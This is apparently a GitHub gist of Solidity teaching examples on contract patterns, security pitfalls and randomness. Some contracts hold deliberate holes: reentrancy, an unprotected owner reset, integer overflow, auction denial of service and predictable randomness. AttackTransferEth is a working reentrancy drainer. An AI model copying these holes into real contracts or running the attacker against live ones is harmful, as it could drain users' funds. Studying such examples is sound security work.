Skip to content

Instantly share code, notes, and snippets.

@0x3bfc
Last active January 6, 2019 01:37
Show Gist options
  • Select an option

  • Save 0x3bfc/2d9dca25ce5ba5d056a8ccb5c75afec8 to your computer and use it in GitHub Desktop.

Select an option

Save 0x3bfc/2d9dca25ce5ba5d056a8ccb5c75afec8 to your computer and use it in GitHub Desktop.
pragma solidity ^0.4.25;
contract FirstContract{
uint256 private counter = 0;
event newEvent(string _value, uint256 _counter) anonymous;
function testEvent() public {
counter +=1;
emit newEvent("test event", counter);
}
}
contract LowLevelLog {
function f() public {
bytes32 _id = 0x420042;
log1(
bytes32(msg.sender),
_id
);
}
}
// This contract keeps all Ether sent to it with no way
// to get it back.
contract Sink {
function() public payable { }
function getBalance() public view returns(uint256){
return address(this).balance;
}
}
contract A {
function f(uint _in) public pure returns (uint out) {
out = _in;
}
function f(address _in) public pure returns (address out) {
out = _in;
}
}
contract B {
function f(bytes32 _in) public pure returns (bytes32 out){
out = _in;
}
}
contract C is A, B {
}
contract Ownable {
address owner;
event Killed(string _contract);
modifier onlyOnwer(){
require(
owner == msg.sender,
'invalid owner'
);
_;
}
constructor() public {
owner = msg.sender;
}
function kill() public onlyOnwer {
emit Killed('Ownable');
selfdestruct(owner);
}
}
contract Base1 is Ownable {
}
contract Base2 {
event Killed(string _contract);
function kill() public{
emit Killed('Base2');
}
}
contract Base3 is Base2, Base1 {
}
contract Final is Base3 {
function kill() public {
super.kill();
}
}
contract MyAbstractContract{
function test1() public returns(bool);
function test2() public pure returns(bool){
return true;
}
}
interface Token {
function transfer(address recipient, uint amount) external;
}
library Triangle {
function area(uint256 b, uint256 h) public pure returns(uint256){
if (b == 0 || h == 0){
return 0;
}
return (b * h)/2;
}
}
contract PlayWithTriangle {
function calculateArea(uint256 b, uint256 h) public pure returns(uint256){
return Triangle.area(b, h);
}
}
library Set {
// these data will be stored in the calling contract
struct Data { mapping(uint => bool) flags; }
function insert(Data storage self, uint value) public returns (bool) {
if (self.flags[value])
return false; // already there
self.flags[value] = true;
return true;
}
function remove(Data storage self, uint value) public returns (bool) {
if (!self.flags[value])
return false; // not there
self.flags[value] = false;
return true;
}
function contains(Data storage self, uint value) public view returns (bool) {
return self.flags[value];
}
}
contract PlayWithSet {
Set.Data knownValues;
function register(uint value) public {
// The library functions can be called without a
// specific instance of the library, since the
// "instance" will be the current contract.
require(Set.insert(knownValues, value));
}
// In this contract, we can also directly access knownValues.flags, if we want.
}
import 'github.com/openzeppelin/openzeppelin-solidity/contracts/math/SafeMath.sol';
contract PlayWithSafeMathLib {
using SafeMath for uint256;
function sum(uint256 a, uint256 b) public pure returns(uint256){
return a.add(b);
}
}
contract PlayWithInLineAssembly {
function add(uint256 _a, uint256 _b) public pure
returns (uint256 result)
{
assembly {
// Solidity always stores a free memory pointer at position 0x40
// load into stack from memory @0x40
let aPtr := mload(0x40)
// increment bPtr by adding 32 bytes offset to 0x40
let bPtr := add(aPtr, 32)
// copy call data (_a) into memory: after first 4 bytes (function selector)
calldatacopy(aPtr, 4, 32)
// copy call data (_b) into memory: after first (4bytes + 32 bytes)
calldatacopy(bPtr, add(4, 32), 32)
// load data (aPtr, bPtr) from memory into stack
result := add(mload(aPtr), mload(bPtr)) // sum two data values and assign the output to result
}
}
}
contract Test{
uint256 paid = 0;
function () payable { paid +=msg.value; }
}
contract GenCode{
function f() public{
uint a=1;
}
function g() public{
uint b=1;
}
}
contract TransferEth {
function withdraw(uint256 _value) {
if (!msg.sender.call.value(_value)()) throw;
}
function deposit() payable {
address(this).send(msg.value);
}
}
contract AttackTransferEth {
TransferEth teth;
uint256 value = 1000000000000000000;
uint256 count = 1;
uint256 i =0;
event LogAttack(uint256 i, uint256 balance);
constructor(address _addr) public {
teth = TransferEth(_addr);
}
function () public payable{
i++;
LogAttack(i, uint256(this.balance));
if (i < count) teth.withdraw(value);
}
function attack(uint256 _count, uint256 _value) {
count = _count;
value = _value;
teth.withdraw(value);
}
}
contract SimpleBadAccess{
address private owner;
constructor() public {
// init contract owner
owner = msg.sender;
}
// fix this using modifier checkout SimpleAccess.sol
function resetContractOwner() public returns(bool) {
owner = msg.sender;
return true;
}
function getContractOwner() public view returns(address) {
return owner;
}
}
contract Overflow {
uint public sellerBalance=0;
function add(uint value) returns (bool){
sellerBalance += value; // possible overflow
}
}
contract SafeInteger {
uint public sellerBalance=0;
function add(uint value) returns (bool){
require(value + sellerBalance >= sellerBalance);
sellerBalance += value;
}
}
contract CheckedExternalCall{
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyValidWithdrawValue(){
require(balances[msg.sender] > 0, 'invalid withdraw value');
_;
}
function() payable {
balances[msg.sender].add(msg.value);
}
function withdraw() onlyValidWithdrawValue public {
require(msg.sender.send(balances[msg.sender]), 'invalid send call');
balances[msg.sender] = 0;
}
}
contract DosAuction {
address currentFrontrunner;
uint currentBid;
//Takes in bid, refunding the frontrunner if they are outbid
function bid() payable {
require(msg.value > currentBid);
//If the refund fails, the entire transaction reverts.
//Therefore a frontrunner who always fails will win
if (currentFrontrunner != 0) {
//E.g. if recipients fallback function is just revert()
require(currentFrontrunner.send(currentBid));
}
currentFrontrunner = msg.sender;
currentBid = msg.value;
}
}
contract BadRandomness {
uint256 private seed;
uint256 private iteration;
function play() public payable {
require(msg.value >= 1 ether);
iteration++;
uint randomNumber = uint(keccak256(seed + iteration));
if (randomNumber % 2 == 0) {
msg.sender.transfer(this.balance);
}
}
}
contract BadRandomnessUsingBlockNumber {
function play() public payable {
require(msg.value >= 1 ether);
if (uint(keccak256(block.number)) % 2 == 0) {
msg.sender.transfer(this.balance);
}
}
}
contract Proxy {
address delegatee;
address owner = msg.sender;
function upgradeDelegate(address newDelegateAddress) public {
require(msg.sender == owner);
delegatee = newDelegateAddress;
}
function() external payable {
assembly {
let _target := sload(0)
calldatacopy(0x0, 0x0, calldatasize)
let result := delegatecall(gas, _target, 0x0, calldatasize, 0x0, 0)
returndatacopy(0x0, 0x0, returndatasize)
switch result case 0 {revert(0, 0)} default {return (0, returndatasize)}
}
}
}
contract GuardCheckExample {
function donate(address addr) payable public {
require(addr != address(0));
require(msg.value != 0);
uint balanceBeforeTransfer = this.balance;
uint transferAmount;
if (addr.balance == 0) {
transferAmount = msg.value;
} else if (addr.balance < msg.sender.balance) {
transferAmount = msg.value / 2;
} else {
revert('invalid balance!');
}
addr.transfer(transferAmount);
assert(this.balance == balanceBeforeTransfer - transferAmount);
}
}
contract StateMachineExample {
enum PaymentState {
Locked,
Refunded,
Released
}
struct Payment{
PaymentState paymentState;
uint256 amount;
address to;
}
mapping(address => Payment) payments;
function lockPayment(address _to) public payable {
payments[msg.sender] = Payment(PaymentState.Locked, msg.value, _to);
}
// update the contract by adding refund payment and release payment
}
pragma solidity ^0.5.2;
import "github.com/oraclize/ethereum-api/oraclizeAPI_0.5.sol";
contract OracleExample is usingOraclize {
string public EURUSD;
function updatePrice() public payable {
if (oraclize_getPrice("URL") > address(this).balance) {
//Handle out of funds error
} else {
oraclize_query("URL", "json(http://api.fixer.io/latest?symbols=USD).rates.USD");
}
}
function __callback(bytes32 myid, string memory result) public {
require(msg.sender == oraclize_cbAddress());
EURUSD = result;
}
}
contract PredictableRandomness {
function randomNumber() internal view returns (uint) {
// return the hash of last block number
return uint(blockhash(block.number - 1));
}
}
/// randomness pattern
contract RandomnessByTrustedParty {
address trustedParty;
struct Bid{
bool isSet;
bool isRevealed;
bytes32 randomHash;
uint blocknumber;
}
mapping(bytes32 => Bid) bids;
modifier onlyTrustedParty(){
require(trustedParty == msg.sender);
_;
}
constructor(address _trustedParty) public {
require(_trustedParty != address(0), 'invalid address');
trustedParty = _trustedParty;
}
function commit(bytes32 _bid, bytes32 _hash) onlyTrustedParty public {
bids[_bid] = Bid(true, false, _hash, block.number + 1);
}
function reveal(bytes32 _bid, bytes32 seed) onlyTrustedParty public {
require(bids[_bid].isSet && bids[_bid].blocknumber < block.number);
require(keccak256(abi.encodePacked(msg.sender, seed)) == bids[_bid].randomHash);
bids[_bid].isRevealed = true;
}
function bid(bytes32 _bid) public payable {
require(msg.value > 0);
require(!bids[_bid].isRevealed && bids[_bid].isSet);
}
}
contract Callee{
function func2(bytes4 selector) public returns(bytes32){
return keccak256(abi.encodePacked(msg.sender, selector));
}
}
contract SelectorExample{
Callee callee;
constructor (address _callerAddress) public {
callee = Callee(_callerAddress);
}
function func1() public returns(bytes32){
return callee.func2(this.func1.selector);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment